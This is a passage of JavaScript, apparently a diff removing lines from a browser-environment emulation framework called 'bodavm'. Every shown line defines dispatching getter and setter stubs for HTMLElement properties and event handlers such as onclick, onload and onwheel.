bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_get", arguments)}, set:function outerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_set", arguments)}},'prototype'); 